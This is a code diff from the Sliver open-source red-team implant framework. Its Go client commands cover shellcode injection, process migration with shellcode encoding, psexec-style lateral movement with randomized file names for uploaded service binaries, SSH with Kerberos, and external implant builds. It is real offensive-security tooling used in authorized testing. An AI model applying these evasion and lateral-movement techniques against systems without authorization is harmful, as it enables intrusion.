|
||||
return true
|
||||
})
|
||||
// Display table if we have 1 or more curses
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
@@ -67,6 +70,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// selectCursedProcess - Interactively select a cursed process from a list
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
@@ -107,3 +111,11 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
|
||||
func getRemoteDebuggerPort(ctx *grumble.Context) int {
|
||||
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
}
|
||||
return port
|
||||
}
|
||||
@@ -20,7 +20,7 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
assemblyBytes, err := os.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
|
||||
@@ -18,7 +18,6 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = ioutil.TempFile("", outFileName)
|
||||
outFilePath, err = os.CreateTemp("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -33,12 +36,19 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -21,17 +21,19 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := ioutil.ReadFile(customExe)
|
||||
fileBytes, err := os.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
filename := randomString(10)
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
noun = strings.ToTitle(noun)
|
||||
}
|
||||
return string(b)
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -1,9 +1,27 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -1,8 +1,26 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeypath := ctx.Flags.String("private-key")
|
||||
if privateKeypath != "" {
|
||||
privKey, err = ioutil.ReadFile(privateKeypath)
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -43,6 +61,19 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
oldUsername := username
|
||||
@@ -59,6 +90,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"runtime"
|
||||
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
|
||||
}
|
||||
}
|
||||
dst = path.Join(dst, fileName)
|
||||
dst = filepath.Join(dst, fileName)
|
||||
}
|
||||
|
||||
// Add an extension to a directory download if one is not provided.
|
||||
|
||||
@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
badChars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
|
||||
@@ -22,12 +22,11 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -36,6 +35,8 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -82,6 +83,9 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
ErrNoValidBuilders = errors.New("no valid external builders for target")
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else if err == ErrNoValidBuilders {
|
||||
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
|
||||
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
return "Shared Library"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
return "Shellcode"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
panic(fmt.Sprintf("Unknown format %v", value))
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
@@ -249,6 +271,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
limitUsername := ctx.Flags.String("limit-username")
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
limitLocale := ctx.Flags.String("limit-locale")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
@@ -322,6 +345,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
@@ -337,6 +361,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
LimitUsername: limitUsername,
|
||||
LimitDatetime: limitDatetime,
|
||||
LimitFileExists: limitFileExists,
|
||||
LimitLocale: limitLocale,
|
||||
|
||||
Format: configFormat,
|
||||
IsSharedLib: isSharedLib,
|
||||
@@ -606,6 +631,130 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var externalBuilder *clientpb.Builder
|
||||
if len(potentialBuilders) == 1 {
|
||||
externalBuilder = potentialBuilders[0]
|
||||
} else {
|
||||
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
|
||||
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
}
|
||||
start := time.Now()
|
||||
|
||||
listenerID, listener := con.CreateEventListener()
|
||||
|
||||
waiting := true
|
||||
spinner := spin.New()
|
||||
|
||||
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
elapsed := time.Since(start)
|
||||
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
|
||||
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
|
||||
case event := <-listener:
|
||||
switch event.EventType {
|
||||
|
||||
case consts.ExternalBuildFailedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
case consts.ExternalBuildCompletedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case <-sigint:
|
||||
waiting = false
|
||||
con.Printf("\n")
|
||||
return nil, fmt.Errorf("user interrupt")
|
||||
}
|
||||
}
|
||||
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
|
||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: name,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
@@ -633,9 +782,8 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
if len(generated.File.Data) == 0 {
|
||||
con.PrintErrorf("Build failed, no file data\n")
|
||||
return nil, errors.New("no file data")
|
||||
@@ -668,7 +816,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
err = os.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -694,6 +842,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
|
||||
if config.LimitFileExists != "" {
|
||||
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
|
||||
}
|
||||
if config.LimitLocale != "" {
|
||||
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
|
||||
}
|
||||
return strings.Join(limits, "; ")
|
||||
}
|
||||
|
||||
@@ -755,3 +906,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
|
||||
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(builders.Builders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoExternalBuilder
|
||||
}
|
||||
|
||||
validBuilders := []*clientpb.Builder{}
|
||||
for _, builder := range builders.Builders {
|
||||
for _, target := range builder.Targets {
|
||||
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
|
||||
validBuilders = append(validBuilders, builder)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(validBuilders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoValidBuilders
|
||||
}
|
||||
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
}
|
||||
choice := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an external builder:",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &choice, nil)
|
||||
for _, builder := range builders {
|
||||
if builder.Name == choice {
|
||||
return builder, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoValidBuilders
|
||||
}
|
||||
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"Template",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
if config.TemplateName == "" {
|
||||
config.TemplateName = "sliver"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
config.TemplateName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
